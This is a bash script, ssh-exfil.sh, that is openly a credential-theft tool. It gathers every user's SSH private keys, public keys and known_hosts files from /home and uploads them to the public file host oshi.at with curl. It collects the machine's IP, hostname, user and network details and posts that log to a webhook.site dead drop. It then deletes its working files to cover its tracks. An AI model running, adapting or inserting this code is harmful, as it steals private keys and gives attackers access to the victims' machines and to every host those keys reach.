ssh-exfil.sh

#!/usr/bin/env bash
#	Keeping it portable.
#	see:	https://www.cyberciti.biz/tips/finding-bash-perl-python-portably-using-env.html



###	FAIR WARNING!
##	THIS SCRIPT IS LIVE AND ARMED!
#	DO NOT USE ON PRODUCTION SYSTEMS!!
##	THIS SCRIPT NEEDS TO BE ADAPTED AT LINE 96!
#	OTHERWISE IT WILL BREAK!



##	Preparation

mkdir ./ssh-exfil
#	creating a working directory



##		collecting the ssh keys, pubkeys and known-hosts

	rsync -a --prune-empty-dirs --include '*/' --include 'id_*' --include 'known_hosts' --exclude '*' /home ./ssh-exfil
#		find all ssh-keys, ssh-pubkeys and known-hosts files for users and copy them into the subfolder ./ssh-exfil
#		see also:	https://unix.stackexchange.com/questions/83593/copy-specific-file-type-keeping-the-folder-structure/83596#83596



##		basic cleanup

	for i in $(find . -name ".ssh" -type d)
		do
			cd $i
			cd ./..
			mv .ssh ssh
			cd ./..
			cd ./..
	done
#	rename all extracted ".ssh" subfolders into "ssh" so that they ain't hidden anymore
#	see :	https://stackoverflow.com/a/31478604
#			https://securitronlinux.com/debian-testing/renaming-folders-with-a-loop-in-bash-is-easy/
#			https://linuxize.com/post/how-to-rename-directories-in-linux/



##	getting ready to exfiltrate

tar cfv ssh-exfil.tar ./ssh-exfil/
#	pack the exfiltrated data into a tarball

rm -rf ./ssh-exfil
#	remove the working directory



##	exfiltrate the file

touch ./work.log
#   creating logfile
#	see:	https://unix.stackexchange.com/questions/61931/redirect-all-subsequent-commands-stderr-using-exec/61932#61932
{
	curl https://oshi.at -F f=@./ssh-exfil.tar
#		Transfers file to oshi.at using curl POST
#			This could also be done with any other service
#		see :	https://oshi.at/cmd
#				https://github.com/somenonymous/OshiUpload

	curl ipinfo.io/ip
#		determining public IP adress
#		see:	https://stackoverflow.com/questions/14594151/methods-to-detect-public-ip-address-in-bash#14594304

	echo ""
#		inserting a linke break
	

	fqn=$(host -TtA $(hostname -s)|grep "has address"|awk '{print $1}') ; \
	if [[ "${fqn}" == "" ]] ; then fqn=$(hostname -s) ; fi ; \
	echo "${fqn}"
#		Find the FQDN of the machine.
#		see:	https://serverfault.com/questions/367141/how-to-get-the-fully-qualified-name-fqn-on-unix-in-a-bash-script/367682#367682

	whoami
#		Find the current user running it.

	ip link && ip neigh && ip route && ip rule && ip maddress && ip address
#		Collecting further network info

} 2>&1 | tee -a ./work.log
#	closing the log and saving it



##	Dead-drop the upload and related info on a server
#	See:	https://en.wikipedia.org/wiki/Dead_drop#Modern_techniques
#			https://en.wikipedia.org/wiki/Foldering

#	this upload will be < 1kB in size, so it's perfectly fine with a lot of free API testing tools.
curl https://webhook.site/REDACTED-TO-BE-PERSONALIZED -F f=@./work.log
#	This will submit the link of the uploaded file as HTTP POST request to webhook.site
#	See:	https://webhook.site/
#			https://linux.die.net/man/1/curl
#			curl manpages

#	Another option would be to use wsend:
#	See:	https://github.com/abemassry/wsend/issues/21#issuecomment-1048395716
#	Tho I'd seriously disrecommend it for said purpose.


##	cleanup
#	removing all remaining files
rm ./ssh-exfil.tar
rm ./work.log

#	closing script
exit